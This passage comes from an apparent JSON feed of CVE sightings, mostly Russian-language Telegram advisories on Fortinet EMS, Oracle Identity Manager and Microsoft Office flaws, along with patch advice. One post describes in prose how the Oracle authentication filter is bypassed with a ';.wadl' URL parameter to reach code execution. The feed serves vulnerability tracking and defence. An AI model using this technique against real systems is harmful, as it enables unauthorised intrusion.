\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438!\n\n\ud83d\udea8 \u0418\u043c\u043f\u0430\u043a\u0442: \u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0434\u0438\u043d HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a:\n\u2014 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\n\u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u043e\u0432\n\u2014 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\u2014 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u043e\u043a\u043e\u043b\u043e 1000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0442\u043e\u0440\u0447\u0430\u0442 \u0433\u043e\u043b\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u043a\u043e\u0439 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \ud83e\udd2f\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n1\ufe0f\u20e3 \u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c FortiClient EMS 7.4.4 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.5 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u0412\u0435\u0440\u0441\u0438\u0438 7.2 \u0438 8.0 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n2\ufe0f\u20e3 \u0423\u0431\u0440\u0430\u0442\u044c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 EMS \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 VPN!\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Fortinet #CVE #SQLi #ZeroDay #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:11.458876Z"}, {"uuid": "9640590f-caa0-4906-ac50-5bc8596fc636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/critical_bug/1671", "content": "\ud83d\udea8 \u042d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u043e\u0442 Oracle: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Identity Manager\n\nCVE-2026-21992 | \ud83d\udd34 CVSS: 9.8 Critical\n\nOracle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u043d\u0435\u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0439 Security Alert \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OIM \u0438 OWSM \u2014 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c.\n\n\ud83d\udd0d \u0412 \u0447\u0451\u043c \u0441\u0443\u0442\u044c?\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 REST WebServices. \u0418\u0437-\u0437\u0430 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CWE-306) \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0430\u0432.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0438\u043a\u043e\u043c CVE-2025-61757: \u043e\u0431\u0445\u043e\u0434 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 SecurityFilter \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u0430\u0442\u0440\u0438\u0447\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 ;.wadl \u043a URL. \u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0430\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 Groovy-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0447\u0435\u0440\u0435\u0437 Java Annotation Processors \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 \u0435\u0449\u0451 \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430.\n\n#Oracle #CVE #RCE #CyberSecurity #Infosec #Vulnerability #critical_bug", "creation_timestamp": "2026-07-19T16:00:12.661870Z"}, {"uuid": "f22d2f57-1932-4fb0-b036-fbf754bb8e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2100", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqzhe6ii6h2j", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-2100](https://access.redhat.com/errata/RHSA-2026:18143)\nA flaw was found in p11-kit. A ...\nhttps://access.redhat.com/errata/RHSA-2026:18143 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-19T18:55:11.871425Z"}, {"uuid": "dab963de-64cb-4132-a72a-ae2f7eec0677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/critical_bug/1699", "content": "\ud83d\udea8 \u0412\u0442\u043e\u0440\u043e\u0439 \u0443\u0434\u0430\u0440 \u0437\u0430 \u043c\u0435\u0441\u044f\u0446: \u043d\u043e\u0432\u044b\u0439 Zero-Day \u0432 Fortinet FortiClient EMS\n\nCVE-2026-35616 \ud83d\udd34 CVSS: 9.1 Critical\n\nFortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiClient EMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438! \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0435\u0449\u0451 31 \u043c\u0430\u0440\u0442\u0430 \u2014 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430! \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u041d\u0435\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (CWE-284) \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 API-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0435\u0433\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f. \u041e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u2192 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0439 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e!\n\n\ud83c\udfaf \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0442\u0430\u043a \u043e\u043f\u0430\u0441\u043d\u043e?\nFortiClient EMS \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u0432 \u0441\u0435\u0442\u0438. \u0412\u0437\u043b\u043e\u043c\u0430\u0432 EMS, \u0445\u0430\u043a\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u0432\u0441\u0435\u0433\u043e \u043a\u043e\u0440\u043e\u043b\u0435\u0432\u0441\u0442\u0432\u0430 \ud83d\udc51\n\n\ud83d\udea8 \u042d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 FortiClient EMS \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 (\u043f\u043e\u0441\u043b\u0435 CVE-2026-21643). Fortinet, \u0442\u044b \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435? \ud83e\udd14\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1\ufe0f\u20e3 \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e: \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b 7.4.5 \u0438 7.4.6\n2\ufe0f\u20e3 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u0445\u043e\u0442\u0444\u0438\u043a\u0441 \u043e\u0442 Fortinet\n3\ufe0f\u20e3 \u0423\u0431\u0440\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 (\u0442\u043e\u043b\u044c\u043a\u043e VPN!)\n4\ufe0f\u20e3 \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 API \u043d\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Fortinet #CVE #ZeroDay #RCE #FortiClient #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:06.447577Z"}, {"uuid": "ce5275d6-f953-4c53-b49e-04422b93e4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19073", "content": "APT28 Uses Microsoft Office CVE-2026-21509 in Espionage-Focused Malware Attacks \u2013 thehackernews.com\n\nTue, 03 Feb 2026 17:12:00", "creation_timestamp": "2026-07-20T00:00:20.686312Z"}, {"uuid": "c894c1fd-b20a-4cb1-97ba-138272b55365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/18937", "content": "Microsoft Office Zero-Day (CVE-2026-21509) - Emergency Patch Issued for Active Exploitation \u2013 thehackernews.com\n\nTue, 27 Jan 2026 18:37:00", "creation_timestamp": "2026-07-20T00:00:20.770114Z"}, {"uuid": "e0319690-6284-42f5-8a20-43c32d56104b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19668", "content": "Google Confirms CVE-2026-21385 in Qualcomm Android Component Exploited \u2013 thehackernews.com\n\nTue, 03 Mar 2026 15:08:00", "creation_timestamp": "2026-07-20T00:00:21.019234Z"}, {"uuid": "0f8ffa51-5596-4133-a8c4-bf818864e862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19641", "content": "APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday \u2013 thehackernews.com\n\nMon, 02 Mar 2026 18:36:00", "creation_timestamp": "2026-07-20T00:00:21.047422Z"}, {"uuid": "6b3905c1-8d6c-443f-85af-93596155a5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/csirts.com/post/3mtu6mdmwyi2l", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-21962: Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-21962", "creation_timestamp": "2026-08-24T20:50:58.838509Z"}, {"uuid": "ff0272f0-f71c-4045-93b3-d667c1249757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21824", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3tej6ryt2o", "content": "CVE-2026-21824 - A privilege escalation vulnerability affects HCL Commerce\nCVE ID : CVE-2026-21824\n \n Published : July 20, 2026, 4:16 p.m. | 18\u00a0minutes ago\n \n Description : HCL Commerce contains an privilege escalation vulnerability that could allow denial of service, disclosu...", "creation_timestamp": "2026-07-20T17:35:27.355455Z"}, {"uuid": "95478157-55de-4d89-857e-14bc7a44b3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21628", "type": "seen", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "content": "", "creation_timestamp": "2026-07-20T18:00:05.479956Z"}, {"uuid": "30a5b5ab-6521-4fa2-915e-3d607a5c74d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21978", "type": "seen", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "content": "", "creation_timestamp": "2026-07-20T18:00:05.665201Z"}, {"uuid": "6213d499-cde3-495e-9668-a9386b23f3e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10528", "content": "APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday \u2013 thehackernews.com\n\nMon, 02 Mar 2026 18:36:00", "creation_timestamp": "2026-07-20T19:00:04.684426Z"}, {"uuid": "ba2d906d-f181-4106-8769-5464150bf0ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/9970", "content": "APT28 Uses Microsoft Office CVE-2026-21509 in Espionage-Focused Malware Attacks \u2013 thehackernews.com\n\nTue, 03 Feb 2026 17:12:00", "creation_timestamp": "2026-07-20T19:00:04.619978Z"}, {"uuid": "43d44c08-fad2-4f5d-91db-517ac03dabde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://t.me/proxy_bar/3169", "content": "CVE-2026-21852\n*\nClaude Code Vulnerability \n\nAll IN onE", "creation_timestamp": "2026-07-20T19:00:07.931335Z"}, {"uuid": "7a8ea0cc-a067-4e4a-ac46-6f7095d39d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/proxy_bar/3125", "content": "CVE-2026-21509 exploits - MS Office\n*\nHow to detect", "creation_timestamp": "2026-07-20T19:00:08.187648Z"}, {"uuid": "6048805e-abfe-4d34-9f49-0005855034ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/RMRFgroup/313", "content": "\u0420\u043e\u0441\u0456\u0439\u0441\u044c\u043a\u0456 \u0445\u0430\u043a\u0435\u0440\u0438 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c \u0434\u0456\u0440\u043a\u0443, \u044f\u043a\u0443\u00a0Microsoft... \u0443\u0436\u0435 \u0437\u0430\u043b\u0430\u0442\u0430\u043b\u0438\n\n\u041c\u043e\u0432\u0430 \u0439\u0434\u0435 \u043f\u0440\u043e \u0410\u0420\u042228 (\u0432\u043e\u043d\u0438 \u0436 Fancy Bear, Sofacy, Sednit), \u0430 \u0449\u043e \u0434\u043e \u0434\u0438\u0440\u0438, \u0442\u043e \u0446\u0435 -\u00a0CVE-2026-21509, \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u043d\u0443\u043b\u044c\u043e\u0432\u043e\u0433\u043e \u0434\u043d\u044f.\u00a0Microsoft \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447 26 \u0441\u0456\u0447\u043d\u044f, \u0430 \u0432\u0436\u0435 27 \u0441\u0456\u0447\u043d\u044f \u0431\u0443\u043b\u0438 \u0437\u0430\u0444\u0456\u043a\u0441\u043e\u0432\u0430\u043d\u0456 \u043f\u0435\u0440\u0448\u0456 \u0430\u0442\u0430\u043a\u0438\n\n\u0410\u0420\u042228 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u043b\u0438 RTF \u0456 DOC \u0444\u0430\u0439\u043b\u0438 \u0437\u0456 \u0441\u0432\u043e\u0457\u043c\u0438 \"\u0434\u043e\u0431\u0430\u0432\u043a\u0430\u043c\u0438\". \u0423 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0456 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0443\u044e\u0442\u044c\u0441\u044f \u0434\u0440\u043e\u043f\u043f\u0435\u0440 DLL, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u0435 \u0431\u0443\u0442\u0438 \u0434\u0432\u043e\u0445 \u0432\u0438\u0434\u0456\u0432:\u00a0MiniDoor \u043a\u0440\u0430\u0434\u0435 \u043b\u0438\u0441\u0442\u0438 \u0437\u00a0Microsoft Outlook, \u0456\u043d\u0448\u0438\u0439 \u0434\u0440\u043e\u043f\u043f\u0435\u0440 PixyNetLoader - \u0446\u0435 \u0431\u0435\u043a\u0434\u043e\u0440\u00a0Covenant Grunt", "creation_timestamp": "2026-07-20T19:00:04.898155Z"}, {"uuid": "27df6043-dae7-4e48-a01e-a228d72f151a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/proxy_bar/3054", "content": "CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare\n*\nFull Chain Exploit\n\n#n8n #exploit  Happy", "creation_timestamp": "2026-07-20T19:00:08.697203Z"}, {"uuid": "7db8dbc1-2bcf-4d3e-8fda-fbfc4bd84b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/9835", "content": "Microsoft Office Zero-Day (CVE-2026-21509) - Emergency Patch Issued for Active Exploitation \u2013 thehackernews.com\n\nTue, 27 Jan 2026 18:37:00", "creation_timestamp": "2026-07-20T19:00:05.372384Z"}, {"uuid": "2be9f89f-a0e7-471f-b460-ed14e9174d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21902", "type": "seen", "source": "https://t.me/proxy_bar/3187", "content": "CVE-2026-21902\n*\nJuniper Junos Evolved \n*\nPre-Auth RCE", "creation_timestamp": "2026-07-20T19:00:07.661957Z"}, {"uuid": "ec1a26c3-13d8-4de3-9130-2a6bae955610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10555", "content": "Google Confirms CVE-2026-21385 in Qualcomm Android Component Exploited \u2013 